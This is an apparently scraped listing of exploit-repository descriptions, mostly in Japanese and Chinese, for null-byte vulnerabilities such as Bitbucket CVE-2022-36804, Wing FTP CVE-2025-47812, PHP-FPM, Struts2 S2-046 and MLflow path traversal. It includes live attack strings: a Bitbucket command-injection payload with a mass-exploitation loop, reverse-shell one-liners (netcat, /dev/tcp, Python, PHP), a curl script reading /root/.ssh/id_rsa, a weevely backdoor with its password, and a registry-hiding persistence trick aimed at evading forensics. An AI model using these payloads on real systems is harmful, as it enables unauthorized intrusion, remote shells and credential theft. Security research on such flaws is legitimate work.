CVE-2024-27956

CVE-2024-27956 注意 WordPressを構築: docker-compose -f stack.yml up プラグインのインストール: 1. WordPressダッシュボードで、プラグイン 新規追加 を選択 2. プラグインのアップロード をクリック 3. ファイルを選択 - wp-automatic.zip - 今すぐインストール 4. インストールが完了したら、プラグインを有効化 をクリック エクスプロイト /wp-content/plugins/wp-automatic/inc/csv.php q=query&auth=%00&integ=md5query...

CVE-2022-36804-POC

CVE-2022-36804-POC 🕷️ Bitbucket CVE-2022-36804 認証なしリモートコマンド実行 悪用方法 公開可視リポジトリを見つける - example.com/repos?visibility=public /rest/api/latest/projects/project-path/archive?filename=kiE0h&at=kiE0h&path=kiE0h&prefix=ax%00--exec=%60id%60%00--remote=origin 大量悪用 for url in $cat hosts.txt | httpx...

CVE-2006-2842

バッジ ライセンス MIT インストール npmでcve-2006-2842をインストール root@kitploit: npm install cve-2006-2842 -g 使い方 単一URLの例 root@kitploit: cve-2006-2842 -u http://example.com 使い方 URLリストの例 root@kitploit: cve-2006-2842 -l urls.txt -o out.txt スクリーンショット ヘルプメニュー すべての項目を取得 root@kitploit: 👋 Hey karthithehacker...

Control Web Panel (CWP) - File Inclusion

In CWP Control Web Panel, previously CentOS Web Panel before version 0.9.8.1107, an unauthenticated attacker can abuse null byte %00 injection with the "scripts" parameter in the /user/loader.php or /user/login.php endpoints to register arbitrary API keys or access sensitive files. This can be...

Blackash-CVE-2025-47812

🛡️ CVE-2025-47812 – Wing FTP Server の重大な RCE 🛡️ 🔎 概要: CVE-2025-47812 は、Wing FTP Server バージョン 7.4.4 より前のバージョンに影響を与える 重大なリモートコード実行 RCE 脆弱性です。セキュリティ研究者によって発見され、実際に活発に悪用されている ことが確認されています。 🧱 根本原因: この脆弱性は、Wing FTP Server の 認証ロジック 、特に username パラメータ内の ヌルバイト \0 の処理方法に起因します。 攻撃者はユーザー名フィールドを介して 任意の Lua コード...

SharpHide

SharpHide DFIR調査を混乱させるための、ちょっとした永続化トリックです。 NtSetValueKeyネイティブAPIを使用して、隠し（null終端）レジストリキーを作成します。 これは、UNICODESTRINGキー値名の前にnullバイトを追加することで機能します。 このテクニックの詳細については、以下のホワイトペーパーを参照してください： https://github.com/ewhitehats/InvisiblePersistence/blob/master/InvisibleRegValuesWhitepaper.pdf...

CVE-2025-47812

CVE-2025-47812 - Wing FTP服务器远程代码执行（RCE） 作者: blindma1den 日期: 2025年7月 漏洞利用类型: 远程代码执行（未认证） 目标: Wing FTP Server & /dev/tcp/IP/PORT 0&1 Python3: python3 -c 'import socket,subprocess,os; ...' Netcat: nc IP PORT -e /bin/sh PHP: php -r '$sock=fsockopen"IP",PORT; ...'...

CVE-2019-11043

CVE-2019-11043 PHP-FPM リモートコード実行 スクリーンキャスト: https://youtu.be/d6benC5FVZM 概要 このゼロデイエクスプロイトは、一般的な PHP-FPM 構成において、2019 年の Realworld CTF コンペティション中に発見されました。リクエスト URI を解析するために正規表現が使用されますが、改行文字 %0a はマッチしません。これにより、クエリ文字列の長さを誤って計算し、意図したバッファの 前 の位置にヌルバイトを書き込む FastCGI...

st2-046-poc

Struts2 Content-Disposition ファイル名の nullバイト バリアント CVE-2017-5638 Struts2 Security Bulletin S2-046 リクエストの Content-Disposition ヘッダの filename フィールドに null バイト \x00 が含まれると、InvalidFileNameException が同じ（クライアントが制御する）ファイル名文字列でトリガーされ、その例外メッセージがエラー処理中に OGNL 評価を引き起こす可能性があります。これは、元の Content-Type ベクター（S2-045 で報告...

CVE-2023-1177

CVE-2023-1177 | | MLFlow パストラバーサル | MLflow 2.2.0 でテスト済み | ソース: https://github.com/iumiro/CVE-2023-1177-MLFlow | .. code-block:: bash !/bin/bash RAND="EXPLOIT-$1+$RANDOM%9999" URL="http://172.17.0.2:6001" FILE='/root/.ssh/idrsa' curl -vX POST "$URL/ajax-api/2.0/mlflow/registered-models/create" -d...

CVE-2019-17137

CVE-2019-17137 CVE 情報: https://vulners.com/cve/CVE-2019-17137 POC root@kitploit: GET /index.htm%00currentsetting.htm HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15; rv:78.0 Gecko/20100101 Firefox/78.0 Accept: / Accept-Language:...

CVE-2016-6187_LPE

CVE-2016-6187 - Linuxカーネルエクスプロイト CVE-2016-6187 のカーネルエクスプロイト ローカル特権昇格 影響を受けるバージョン: 4.6.5 エクスプロイトはカスタムコンパイルされた 4.6 カーネル + buildroot に対して開発されました kconfig は近日公開予定。KASLR、SMEP、SMAP を回避します KPTI は 4.6 では利用不可 プレゼンテーションスライド 脆弱性の詳細 悪用される脆弱性は、AppArmor の LSM フック setprocattr の1つにおける、ヒープベースの単一ヌルバイトオーバーフローです。詳細:...

CVE-2025-47812-poC

CVE-2025-47812-poC Wing FTP Server RCE（CVE-2025-47812）の簡易エクスプロイト。コマンド実行とリバースシェルの取得が可能です。教育目的のみで使用してください。 脆弱性の詳細 本セキュリティ脆弱性はRCESecurity（https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/）によって公開され、詳細が示されました。 このエクスプロイトは教育およびテスト目的で私が開発したものです。私は脆弱性の最初の発見者ではありません。 Win...

CVE-2025-47812-poc

CVE-2025-47812 Wing FTP Server リモートコード実行 RCE エクスプロイト CVE-2025-47812 📌 クレジット : 脆弱性は Julien @MrTuxracer によって発見されました。 この PoC 実装は彼らのオリジナル研究に基づいています。 このリポジトリは、Wing FTP Server のリモートコード実行 RCE 脆弱性 CVE-2025-47812 に対する Python エクスプロイトをホストしています。この重大な欠陥により、攻撃者は影響を受ける Wing FTP Server...

CVE-2025-47812

CVE-2025-47812 这是 Wing FTP 服务器漏洞（CVE-2025-47812）的概念验证（PoC） 描述 Wing FTP Server 7.4.4 之前的版本因对用户名参数的不安全处理而存在远程代码执行（RCE ）漏洞。当我们在 /loginok.html 页面登录时，可以注入空字节 %00 后跟 Lua 代码，以实现 RCE。 背景事件 当我们向 loginok.html 页面发送 POST 请求时，cCheckUser 函数（用于验证正确用户名和密码的函数）使用了 strlen。问题在于该依赖函数容易受到空字节截断的影响。 这意味着如果我们在用户名后发送...

CVE-2022-36804-Bitbucket-RCE-Analysis

CVE-2022-36804: Bitbucket 远程命令执行 RCE 空字节参数注入的技术分析与实验室利用 漏洞概要 CVE-2022-36804 是 Atlassian Bitbucket Server 和 Data Center 的 REST API 中的一个高危/严重 参数注入 漏洞。 虽然官方 NVD 国家漏洞数据库的基础评分为 8.8（高危） ，基于需要读取权限 PR:L 的假设，但本分析将其视为 9.8（严重） 漏洞 PR:N。如果目标仓库启用了公共访问（一种常见配置），则利用向量完全变为未经身份验证。 本仓库记录了该漏洞利用的完整链式实验室复现，直接基于 Assetno...

bitbucket-test

Docker 容器用于研究 CVE-2022-36804 重现一个远程代码执行漏洞，其中 Bitbucket 未能对用户输入进行清理，从而使攻击者能够注入 Git 标志并远程执行代码。 本仓库记录了我如何复现漏洞 CVE-2022-36804，即 Bitbucket Server 中预认证参数注入的问题。目标是按照 Assetnote 的公开文章所述，演示底层安全问题。所有测试均在隔离的本地环境中进行。 概述 CVE-2022-36804 是由于 Bitbucket 将用户输入直接传递给 git archive 子进程，而未对空字节进行清理所致。由于 Bitbucket 使用...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server RCE 漏洞利用 漏洞利用标题： Wing FTP Server 7.4.4 通过 Lua 注入实现远程代码执行 CVE： CVE-2025-47812 测试于： Wing FTP Server v7.3.x（Windows/Linux） 影响： 以 SYSTEM/root 权限远程执行代码（RCE） 严重性： 严重 描述 Wing FTP Server 在处理登录输入中的 \0（空字节）时存在一个漏洞，允许攻击者通过用户或管理员 Web 界面向会话文件中注入任意 Lua 代码 。这可用于在底层操作系统上执行系统命令。...

CVE-2021-3156

exploit.py Bifurcado desde @worawit, más corto y optimizado. Solo funciona para sudo=1.8.23 en Centos7 Funciona tanto en servidores web como en máquinas Linux backdoor.php backdoor php generado mediante weevely, contraseña: "H@rmWsH4rE!". Proporciona acceso a una sesión ssh como Apache si se carg...

CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC

CVE-2025-47812 — Wing FTP Server Wing FTP Server = 7.4.3 中的未授权远程代码执行漏洞。在登录时向 username 参数注入 NULL 字节会导致 Lua 代码写入会话文件。当使用生成的会话 cookie 访问 /dir.html 时，注入的代码会被执行——在 Linux 上以 root 权限，在 Windows 上以 SYSTEM 权限。 工作原理 1. 构造一个 POST 请求到 /loginok.html，在 username 字段中注入一个 NULL 字节后跟 Lua 代码。 2. 服务器创建一个包含未清理的用户名（包括 L...